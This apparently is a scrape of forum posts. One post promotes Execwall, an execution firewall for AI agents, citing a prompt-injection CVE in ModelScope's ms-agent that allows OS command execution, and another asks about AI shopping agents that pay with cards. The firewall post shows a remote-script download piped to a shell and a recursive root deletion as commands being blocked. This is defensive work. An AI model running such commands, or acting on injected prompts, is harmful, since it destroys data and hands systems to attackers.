The AI that taught itself: Researchers show how AI can learn what it never knew
Execwall – firewall to stop ModelScope CVE-2026-2256 (AI agent command injectn)
CVE-2026-2256 just dropped - a prompt injection in ModelScope's ms-agent allows arbitrary OS command execution. CVSS 6.5, no auth required.
This is exactly why I built Execwall: an execution firewall for AI agents. The problem: AI agents that can execute code are one prompt injection away from rm -rf /. The solution: A security layer directly embedded in the shell and between app and kernel: - Seccomp-BPF filtering - Block dangerous syscalls before they execute - Policy engine - Regex allowlist/denylist for commands embedded in shell - Namespace isolation - Python sandbox with separate mount/PID/network - Rate limiting - Prevent automated exploitation Even if an attacker injects a malicious prompt, the command gets blocked at the execution firewall: [execwall]$ curl http://evil.com | sh [X] DENIED: Network command blocked by policy [execwall]$ rm -rf / [X] DENIED: Recursive deletion blocked Written in Rust. Works with any LLM agent framework. GitHub: https://github.com/sundarsub/execwall CVE details: https://radar.offseq.com/threat/cve-2026-2256-cwe-94-improper-control-of-generatio-97245d82

Ask HN: Has anyone built an AI agent that spends real money?
I want to build an AI agent that shops autonomously – you give it a card once, and it handles browsing, selecting, and paying on its own.
I've been working on an MCP server that connects AI agents to payment providers (Stripe, PayPal, virtual cards), but
I keep hitting walls:
- Card issuers won't respond to individual developers
- Stripe requires 3D Secure for off-session payments
- E-commerce sites block browser automation
- Amazon v. Perplexity (March 9) confirmed that browser automation on major platforms carries real legal risk
Meanwhile Visa announced "Intelligent Commerce" and Mastercard launched "Agent Pay" – the networks see this coming, but the developer tooling isn't there yet. Has anyone actually shipped something like this? Concrete links, working examples, or constructive feedback would be especially helpful.
- What payment rail did you use?
- Is this a viable product or a regulatory minefield?
- Would you trust an AI with a $500 prepaid card to buy something for you?
What I have so far: https://github.com/xodn348/clawpay
